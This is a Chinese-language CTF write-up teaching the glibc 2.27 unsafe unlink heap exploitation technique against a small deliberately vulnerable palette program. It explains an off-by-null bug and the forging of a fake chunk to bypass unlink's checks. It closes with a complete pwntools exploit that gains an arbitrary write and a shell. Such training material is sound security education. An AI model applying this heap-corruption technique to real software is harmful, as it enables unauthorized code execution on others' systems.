漏洞简介
glibc库中存在着unsafe unlink漏洞。主要原理是利用释放块时存在的安全检查缺陷,通过修改堆块的元数据信息,从而在free时修改堆指针。利用这一漏洞可以完成一次任意写操作。
本文以libc-2.27.so为例,结合一道pwn题目来介绍利用过程。
本文涉及相关实验:利用溢出改写地址 (本节课主要讲解objdump命令的使用和c语言函数调用约定,学会利用栈溢出漏洞改写函数指针变量和覆盖返回地址。)
程序checksec检查
Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) |
---|
题目源码分析
int main(){ int choice = 0; prepare(); while(1) { choose_action(&choice); switch (choice) { case 1: squeeze(); break; case 2: wash(); break; case 3: display(); break; case 4: mix(); break; case 5: insepct(); break; default: puts("Nah... You just cannot do this :( "); exit(0); } } return 0;} |
---|
主函数是菜单,choose_action只是简单读入整数以进行选择,此处不再赘述。
void squeeze(){ int i; struct palette* tmp; for(i = 0; i < COLOR_NUM; i++) { if (!your_palette[i]) { puts("Found some free space for you!"); break; } } if (i == COLOR_NUM) { puts("Your palette is full :("); exit(0); } tmp = malloc(sizeof(struct palette)); if (!tmp) { puts("Sorry but something wrong with your palette :("); exit(0); } puts("Now you are squeezing some pigment into the palette..."); puts("Please name youe color:"); make_component(tmp->color, COLOR_NAME); puts("Please add some ingredients:"); make_component(tmp->ingredient, COLOR_COMPONENT); printf("Finished! You've squeezed something into %d slot",i); your_palette[i] = tmp;} |
---|
squeeze函数用于申请新的块,并调用自定义make_component函数读入用户输入。其中your_palette及相关变量定义如下:
#define COLOR_NUM (4)#define COLOR_NAME (0x20)#define COLOR_COMPONENT (0x4d8) struct palette { char color[COLOR_NAME]; char ingredient[COLOR_COMPONENT];}*your_palette[COLOR_NUM]; long secret_button = 0; |
---|
make_component函数定义如下。该函数根据传入的长度,逐字节读入用户输入,检测到换行符或是达到最大长度后即把最后一个字符改为’\0’。
void make_component(char* ptr, int len){ if (0 == len) { return; } char c; int i = 0; while ( i < len ) { read(0, &c, 1); if ( c == '\n' ) { ptr[i] = 0; return; } ptr[i++] = c; } ptr[i] = 0;} |
---|
乍看之下没有什么问题,但是当读入的数据达到最大长度后会将ptr[len]处的数据修改为0,而这一地址属于理想的修改范围之外,因此产生off-by-null的漏洞。
void mix(){ int index; puts("Now input the color index:"); scanf("%d", &index); index--; if (0 <= index && index < COLOR_NUM) { if (your_palette[index]) { struct palette* ddl_ptr = your_palette[index]; puts("Please name youe color:"); make_component(ddl_ptr->color, COLOR_NAME); puts("Please add some ingredients:"); make_component(ddl_ptr->ingredient, COLOR_COMPONENT); puts("Finished!"); return; } else { puts("Maybe you are willing to mix some color..."); puts("But you should squeeze first!"); exit(0); } } else { puts("Your palette is not as large as you imagine..."); exit(0); }} |
---|
mix函数用于修改已经申请好的chunk,可以重新设置某一个palette的color段以及ingredient段。
void wash(){ int index; puts("Now input the color index:"); scanf("%d", &index); index--; if (0 <= index && index < COLOR_NUM) { if (your_palette[index]) { free(your_palette[index]); your_palette[index] = NULL; puts("Finish!"); return; } else { puts("Maybe you are willing to wash the palette..."); puts("But it is clean!"); exit(0); } } else { puts("Your palette is not as large as you imagine..."); exit(0); }} |
---|
wash函数free掉了一个已经申请过的chunk,这也是unsafe unlink漏洞利用之处。这里需要注意的一点是标红处对数组进行赋NULL,因此排除了uaf的情况。
void insepct(){ if (secret_button) { puts("You've successfully broken the palette >_< "); system("/bin/sh"); } else { puts("You can explore your palette futher more :) "); } exit(0);} |
---|
inspect函数用于shell获取。当检查到全局变量secret_button不为0后,将调用/bin/sh。那么本题的目标至此已经显而易见了:通过wash函数的free触发漏洞,并通过mix函数修改全局变量secret_button为非零值,然后执行inspect函数来getshell。
相关知识补充
unsafe unlink漏洞是指由于程序设计不当、用户恶意输入,堆管理器在释放块的时候将前一个正在使用的块也视为已经被释放的块,从而也将它纳入空闲块管理中。以64位系统中glibc-2.27为例,一个chunk块的结构如下:
A区域(8字节):mchunk_prev_size | B区域(8字节):mchunk_size |
---|---|
C区域(8字节):fd | D区域(8字节):bk |
E区域(8字节):fd_nextsize | F区域(8字节):bk_nextsize |
l 其中B区域比较特殊。B区域用于表示该chunk的大小(单位为字节)。由于chunk必须16字节对齐,因此B区域的低3bits被设置为flag位,不影响chunk的大小。其中最低1bit为PREV_INUSE位,当设置为0时表示前一个chunk处于空闲状态。
l A区域用于表示前一个相邻的空闲chunk的大小。当PREV_INUSE置1时,这一区域被前一个chunk使用(称之为空间复用);当PREV_INUSE置0时,该区域才被这一个chunk使用,用于在free时获取前一个chunk的地址。
l B区域也是该chunk的元数据区域,从C区域开始为用户实际使用的数据区。当malloc获得块的时候,返回的指针就是指向C区域的。
l 而当该块处于空闲状态时,C、D区域用于构造空闲块的双向链表。C区域会被堆管理器自动设置为前向空闲块的地址,D区域被设置为后向空闲块的地址。对于large chunk而言,C、D区域用于指向大小相同的空闲块,E、F区域用于指向大小不同的空闲块。
glibc-2.27中对unlink的实现如下:
/* Take a chunk off a bin list */#define unlink(AV, P, BK, FD) { \ if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \ malloc_printerr ("corrupted size vs. prev_size"); \ FD = P->fd; \ BK = P->bk; \ if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \ malloc_printerr ("corrupted double-linked list"); \ else { \ FD->bk = BK; \ BK->fd = FD; \ if (!in_smallbin_range (chunksize_nomask (P)) \ && __builtin_expect (P->fd_nextsize != NULL, 0)) { \ if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \ || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \ malloc_printerr ("corrupted double-linked list (not small)"); \ if (FD->fd_nextsize == NULL) { \ if (P->fd_nextsize == P) \ FD->fd_nextsize = FD->bk_nextsize = FD; \ else { \ FD->fd_nextsize = P->fd_nextsize; \ FD->bk_nextsize = P->bk_nextsize; \ P->fd_nextsize->bk_nextsize = FD; \ P->bk_nextsize->fd_nextsize = FD; \ } \ } else { \ P->fd_nextsize->bk_nextsize = P->bk_nextsize; \ P->bk_nextsize->fd_nextsize = P->fd_nextsize; \ } \ } \ } \} |
---|
unlink是在释放某一块时调用的“函数”,本意是将空闲块进行合并形成双向链表,提高空间利用率,但是在安全检查方面存在一些漏洞。在利用过程中,需要绕过两处安全检查(标红和标蓝处)。简单来说,unlink的核心是检查当前块是否是合法的空闲块。其中参数P表示当前检查的、准备合并的“空闲”块。
l 标红处用于检查P的大小是否和下一块的prev_size段相等(即检查此块的B区域表示的大小和下一块的A区域的值是否相等)。
l 标蓝处用于检查P的前向块的后向块与P的后向块的前向块是否都指向P自己。
当两处检查均通过时,堆管理器会执行FD->bk = BK与BK->fd = FD,从而将P加入到双向链表中。因此,本题的核心在于如何绕过这两处检查。
漏洞利用
利用思路大致如下:
1、申请3个块(姑且称之为chunkA、chunkB、chunkC)。
2、修改chunkA,在其中精巧地布置出一个chunkD。
3、释放chunkB,并让堆管理器unlink chunkD。
4、修改chunkA,写入任意地址。
5、修改chunkA,实现任意地址写。
ADD, FREE, SET, INSPECT = '1', '2', '4', '5'def operate(op, arg1='A', arg2='A', arg3='A'): global io io.recvuntil('e:\n') io.sendline(op) if op == '1': # squeeze() io.recvuntil('color:\n') if len(arg1) < 32: io.sendline(arg1) else: io.send(arg1) io.recvuntil('ingredients:\n') if len(arg2) < 1240: io.sendline(arg2) else: io.send(arg2) elif op == '2': # wash() io.recvuntil('color index:\n') io.sendline(str(arg1)) elif op == '4': # mix() io.recvuntil('color index:\n') io.sendline(str(arg1)) io.recvuntil('color:\n') if len(arg2) < 32: io.sendline(arg2) else: io.send(arg2) io.recvuntil('ingredients:\n') if len(arg3) < 1240: io.sendline(arg3) else: io.send(arg3) elif op == '5': # inspect() pass |
---|
首先定义一个operate函数,用于处理各类请求信息,将squeeze、wash、mix重命名为经典的ADD、FREE、SET。接下来逐步进行利用:
1、申请3个块(姑且称之为chunkA、chunkB、chunkC)。
operate(ADD) #chunkAoperate(ADD) #chunkBoperate(ADD) #chunkC |
---|
使用gdb查看内存情况:
之所以使用3个chunk,是为了防止free chunkB的时候其与top chunk合并。
然后以chunkA为例,查看它的内容:
可见该chunk大小为0x500、前一个chunk处于使用中。(之后的截图为多次运行程序所截,由于开启了ASLR,所以堆的地址会发生改变,但内容是一致的,不影响阅读)
2、修改chunkA,在其中精巧地布置出一个chunkD。
chunkD是在chunkA内由用户的输入构造出的特殊的fake chunk,我们希望unlink把这个块视作一个合法的空闲块。因此首先需要绕过unlink对chunk_size的检查。这里需要注意,用户申请的chunkA指向chunkA的data段,我们可以将这里当做chunkD的元数据区进行填充。由于chunkA->color大小为32字节,那么对应了chunkD的A、B、C、D区域(前文所述)。如何填充这四个区域呢?
首先关注B区域。由于chunkD是chunkA内的一块,且其元数据区的地址在chunkA的数据区,所以它的大小应该是chunkA-16,即0x500-0x10=0x4f0。为了防止chunkA也被unlink掉,这里将前一块标记为使用中,所以B区域填充0x4f1。那么A区域是属于chunkA的,可以填充任意值,此处填0。
C、D区域是chunkD的fd、bk指针,是漏洞利用的关键。这里注意到unlink的第二道检查就是检查这里的fd->bk和bk->fd是否都等于chunkD的元数据区地址。这里的关键是chunkD的元数据区地址恰好等于chunkA的数据区地址,而chunkA的数据区地址正好是malloc chunkA时获得的,其保存在全局变量your_palette[0]中。
由于程序没有开启PIE,所以可以通过objdump直接获取全局变量的地址。
这里就利用了unlink中的一个漏洞:它默认fd和bk都指向了合法的chunk地址,所以fd->bk和bk->fd只是简单地将fd、bk视作一个chunk,然后取偏移量24字节和16字节,并将其视为合法的bk和fd。而如果fd、bk是用户可控的,那么只需要将fd设置为your_palette地址-24、将bk设置为your_palette地址-16,那么fd->bk和bk->fd都会指向your_palette[0],即为chunkA的data段,即为chunkD的元数据地址,从而实现了绕过检查。此时0x1160670为chunkD的元数据地址,chunkD的fd、bk被设置为0x6020c0-24=0x6020a8与0x6020c-16=0x6020b0。
接下来需要填充chunkD的ingredient区域。这里需要注意的是要在空间复用区(即chunkB的A区域)填充padding与chunkD的大小。这里需要完全填充ingredient区域,以触发前文提到过的off-by-null漏洞,从而将chunkB的PREV_INUSE位置0,使得chunkD被视作空闲块。
可见0x1160b68处的0x501被修改为0x500,且其prev_size段被设置为0x4f0。
palette_addr = 0x6020c0secret_button_addr = 0x6020a0payload1 = p64(0) + p64(0x4f1) + p64(palette_addr - 24) + p64(palette_addr - 16)payload2 = b'\x00' * 0x4d0 + p64(0x4f0)operate(SET, 1, payload1, payload2) |
---|
3、释放chunkB,并让堆管理器unlink chunkD。
释放掉chunkB后,查看your_palette内容,可见your_palette[0]被设置为0x6020a8,这是因为unlink成功,执行了BK->fd = FD。这里注意到,chunkA仍然是一个使用中的chunk,但它指向了全局数据区。那么此后调用mix时,将向此处写入新的数据。这里需要注意到,写入的第24-32字节会重新覆盖your_palette[0],也就是说可以再次指向另一个地址,而这个地址就是用户任意写入的了。
operate(FREE,2) |
---|
4、修改chunkA,写入任意地址。
这里直接写入secret_button的地址,并调用mix函数。
payload = b'\x00' * 24 + p64(secret_button_addr)operate(SET, 1, payload) |
---|
5、修改chunkA,实现任意地址写。
secret_button只需非0即可,这里写入1。
operate(SET, 1, p64(1)) |
---|
最后简单调用inspect即可getshell。
完整exp代码
from pwn import * binary_file = './a.out'io = process(binary_file, env={'LD_PRELOAD': './libc-2.27.so'})lib = ELF('./libc-2.27.so')proc = ELF(binary_file) palette_addr = 0x6020c0secret_button_addr = 0x6020a0button = 1ADD, FREE, SET, INSPECT = '1', '2', '4', '5' def operate(op, arg1='A', arg2='A', arg3='A'): global io io.recvuntil('e:\n') io.sendline(op) if op == '1': # squeeze() io.recvuntil('color:\n') if len(arg1) < 32: io.sendline(arg1) else: io.send(arg1) io.recvuntil('ingredients:\n') if len(arg2) < 1240: io.sendline(arg2) else: io.send(arg2) elif op == '2': # wash() io.recvuntil('color index:\n') io.sendline(str(arg1)) elif op == '4': # mix() io.recvuntil('color index:\n') io.sendline(str(arg1)) io.recvuntil('color:\n') if len(arg2) < 32: io.sendline(arg2) else: io.send(arg2) io.recvuntil('ingredients:\n') if len(arg3) < 1240: io.sendline(arg3) else: io.send(arg3) elif op == '5': # inspect() pass # prepare 3 chunksoperate(ADD)operate(ADD)operate(ADD)# setup chunkD in chunkApayload1 = p64(0) + p64(0x4f1) + p64(palette_addr - 24) + p64(palette_addr - 16)payload2 = b'\x00' * 0x4d0 + p64(0x4f0)operate(SET, 1, payload1, payload2)# free chunkB and unsafely unlinkoperate(FREE, 2)# fabricate datapayload = b'\x00' * 24 + p64(secret_button_addr)operate(SET, 1, payload)operate(SET, 1, p64(1))# arbitrary writeoperate(INSPECT) io.interactive() |
---|
说明
编译源程序:gcc unsafe_unlink.c -no-pie